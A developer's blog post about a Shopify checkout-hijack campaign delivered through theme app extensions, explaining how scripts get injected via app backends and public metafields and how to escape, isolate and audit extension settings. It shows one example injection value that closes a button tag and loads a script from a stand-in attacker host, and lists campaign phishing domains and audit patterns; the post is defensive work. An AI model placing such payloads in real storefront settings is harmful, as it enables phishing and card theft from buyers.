Kirill Platonov
Kirill Platonov
All Posts Oct 21, 2026

Protect your Shopify theme app extensions from script injection

We’re in the middle of a security crisis in the Shopify app ecosystem. Last week Roman Zipp published an article about the Shopify checkout hijack attack. It describes a wild security issue: attackers manage to inject a malicious script into storefronts and use it to replace the checkout with a phishing site that steals buyers’ card details. The script is delivered through theme app extensions of various Shopify apps. Many of those apps are now delisted, and Shopify has disabled their theme extensions.

The scale of the issue is shocking. The problem was first spotted in July with one app (Qikify), then in August with another (Hextom), but in October it became massive. One app after another is being used to deliver malicious scripts. Shopify disables their extensions, but it doesn’t seem to stop the spread. heyapps.dev’s tracker lists 436 apps removed from the App Store, with the biggest ones delisted between October 14 and 21. They include big apps with strong teams: 17TRACK, Privy, Color Swatch King, Swym Wishlist Plus, Hulk Product Options, Boost AI Search & Filter and Rebuy. Not every removal is confirmed to be part of this incident, but the timing speaks for itself.

Merchants are still reporting new checkout hijacks and new apps delivering them. To me that’s a signal that something is really wrong, and that the problem is deeper than one developer making a beginner’s security mistake. As an app developer I worry that my apps could be the next target, so I dug in to figure out how my theme extension could be attacked and how to prevent it.

How the attack works

Reports from affected apps vary. Some blame internal tooling. But the attack hit many different vendors, big and small, and it’s unlikely they all made the same mistake at once. I see two delivery paths, and both end in the same place: code your theme extension renders without knowing who wrote it.

Path 1: your own backend

In the one case documented in detail, HulkApps, the extension’s script fetched configuration from the app’s own API, and the response contained a custom_js field with the malicious code. HulkApps attributed it to an exploit that introduced unauthorized configuration. So the code didn’t need to touch Shopify at all: whoever could change that app’s config could change every store using it. If your extension fetches code or HTML from your server and runs it, your dashboard, support tools and staff accounts are part of your storefront’s attack surface.

Path 2: public metafields

Many apps use custom_css, custom_js or custom_html fields to deliver code to the storefront. This is needed for customization and integrations, and there’s nothing fundamentally wrong with it. With metafields, rendering custom JS is as easy as:

<script>
  {{ shop.metafields.myapp_namespace.custom_js }}
</script>

The problem is that this example uses a public metafield namespace, myapp_namespace. That namespace isn’t exclusive to your app. Anyone with metafield access (the merchant, a collaborator, or another installed app) can write to it. So if it originally held innocent JS for widget customization, another app in the same store could replace it with a script that redirects buyers to a fake checkout.

Overwriting the value is one way. Translating it is another. A metafield translation, registered through the Translations API or the Translate & Adapt app, replaces the value on that locale’s storefront. I tested this on a development store: another app with the write_translations scope registered a translation containing a script on our public metafield, and Shopify accepted it.

The attack isn’t limited to custom_js. Any value from public metafields that the extension prints is dangerous. Imagine a button whose label comes from a metafield setting:

<button>{{ shop.metafields.myapp_namespace.button_label }}</button>

It looks innocent, but an attacker can close the button tag and load a script:

button_label = "</button><script src=\"https://evil.example/x.js\"></script><button>"

The final HTML becomes:

<button></button><script src="https://evil.example/x.js"></script><button></button>

Scary, right?

Who can change what your extension renders

Shopify hasn’t shared the root cause yet, so I can only guess who is behind this. But I can look at it from the other side: who can change what my theme extension renders? I see three groups:

  1. Your own team and backend. If your extension loads code or config from your server, anyone who gets into your dashboard, support tools or staff accounts can push code to every store at once. That’s the HulkApps case from above.
  2. Other apps in the same store. Any app with metafield access can rewrite or translate public metafields. If a popular app gets hacked, attackers can use it to change other apps’ metafields, and the hacked app stays out of sight.
  3. Collaborators and staff. A shady employee with collaborator access to many stores can edit metafields and translations. Shopify doesn’t show a full log of who changed what, so nobody would notice.

I don’t know which of these is behind the current wave. It might be more than one. So I decided to protect against all three.

How to protect a theme app extension

1. Move metafields to the app-reserved namespace

Shopify provides an app-reserved namespace ($app). Other apps can’t read, write or translate metafields in it. On the same development store, the other app got RESOURCE_NOT_FOUND when it tried to translate our $app copy, and Translate & Adapt doesn’t list it. App-reserved metafields are set like this:

mutation SetAppMetafield($metafields: [MetafieldsSetInput!]!) {
  metafieldsSet(metafields: $metafields) {
    metafields {
      id
      namespace
      key
      value
    }
    userErrors {
      field
      message
      code
    }
  }
}
{
  "metafields": [
    {
      "ownerId": "gid://shopify/Product/1234567890",
      "namespace": "$app:my_app",
      "key": "settings",
      "type": "json",
      "value": "{\"enabled\":true,\"label\":\"Hello\"}"
    }
  ]
}

To read them in your theme app extension’s Liquid:

{% assign settings = product.metafields['$app:my_app'].settings.value %}

{% if settings.enabled %}
  <p>{{ settings.label | escape }}</p>
{% endif %}

The $app: prefix only works inside theme app extensions. Merchants with custom theme code can still read the same metafield with the full namespace, which includes your app’s ID: product.metafields['app--<your_app_id>--my_app'].settings. I verified this on a development store. So custom theme integrations don’t need public copies, and only your app can write what they read.

During the migration you can fall back to the public metafield for stores that haven’t synced yet:

{% assign settings = product.metafields['$app:my_app'].settings.value
  | default: product.metafields.my_app.settings.value %}

Remove the fallback once every store has the new keys. While it exists, the public copy is still read wherever the app-reserved one is missing.

One caveat: other apps are locked out, but if the metafield definition grants MERCHANT_READ_WRITE, staff and collaborators can still edit it in the Shopify admin. Grant only the admin access you need.

2. Escape every value you render

The app namespace doesn’t protect you from someone with access to your app putting shady things into its settings. So treat every metafield in your theme extension as unsafe and escape everything you render.

For text and HTML attributes, use escape:

<button>{{ settings.button_label | escape }}</button>

If you pass settings to JavaScript, don’t wrap them in quotes. Use the json filter instead. It also escapes </script>, so the value can’t close the script tag:

<script>
  window.myAppConfig = {{ settings | json }};
</script>

Sometimes merchants need some HTML on purpose, like bold text in a label. Escaping it would break their store. In that case it’s better to clean it on the server with an allow-list of tags before saving.

For custom_css escaping isn’t possible: escape does nothing inside <style>. So it makes sense to replace </ to prevent closing the style tag and starting a script. CSS ignores the backslash:

<style>
  {{ settings.custom_css | replace: '</', '<\/' }}
</style>

And validate custom CSS when it’s saved: reject anything with <style>, <script> or other HTML tags.

3. Don’t let users edit custom JS

Make sure your app doesn’t let users put malicious code into your theme extension. It might seem tempting to let everyone customize everything, but you never know who is on the other side. It might be a shady collaborator trying to use your app’s settings to deliver a script to the storefront. Restrict custom_html and custom_js to your support team, log every change, and never run code your extension fetches from your API at runtime.

4. Escape in your own admin panel too

Your internal tools probably render merchant data: product names, labels, import errors. If they print it unescaped, one merchant can run a script in your support team’s browser. Your staff can edit other stores’ settings, so that’s a cross-store attack. Escape content in internal admin as carefully as on the storefront, and put 2FA on staff accounts.

5. Audit what you already store

Scan every stored custom CSS and JS value and other settings for outside URLs, eval and atob, checkout listeners, and the domains published for this campaign (biliing.top, checkout-confirm.top, order-confirm.top).

What else to do as an app developer

  1. Run Shopify’s new security check. Shopify released a security check in the CLI. Run it on your app and act on what it finds.
  2. Get a full security audit with an AI agent. Use Claude Fable or a similar agent on your codebase.
  3. Migrate to expiring offline access tokens. I know it’s scary, and I postponed it too. But a leaked token that expires is far less dangerous than one that works forever.

What Shopify could do

  1. Make the app-reserved namespace the default for apps going forward. Public metafields should be the exception, and only the owning app should be able to translate a metafield.
  2. Add safe rendering to Liquid. Filters like {{ custom_css | sanitize_css }} and {{ label | sanitize_html }} for CSS and HTML. JavaScript can’t be sanitized, so for scripts the answer is a Content Security Policy on storefronts with per-request nonces or registered script hashes: injected code simply wouldn’t run.
  3. Give per-shop app code a proper home. Let apps upload per-shop scripts as versioned assets with an integrity hash and a change log the merchant can see, instead of passing code through metafields or remote API calls. Then ban runtime code loading from app servers.
  4. Validate metafield writes. Scan values for obvious malicious patterns when they’re written, and flag the shops, users and apps that try.
  5. Log who changed what. It should be visible which staff member, collaborator or app changed a resource, including shop metafields and translations.
  6. Scan theme app extensions on deploy. Detect unsafe patterns, like a metafield printed raw inside <script> or <style>, or eval on remote data, and require a fix before the version can be released.
  7. Review storefront code more strictly. Apps that put code on storefronts should meet a higher security bar in review and should be continuously monitored after release.

Final thoughts

The situation is serious, and it hurts everyone. I’m very sorry for the buyers and merchants hit by this phishing attack, and for the app developers whose apps were delisted. The most frustrating part is the silence. I still don’t know which attack method was used, and as an app developer I haven’t received clear guidance on how to keep my apps and theme extensions from being the next target.

I hope the ideas and guesses in this article are right, and that they protect other developers’ apps as well as mine. This situation breaks trust across the whole ecosystem, and many merchants may hesitate to install apps after it. I hope we figure this out together and come out of it stronger and more secure.

Subscribe to get new blog posts via email

Or grab the RSS feed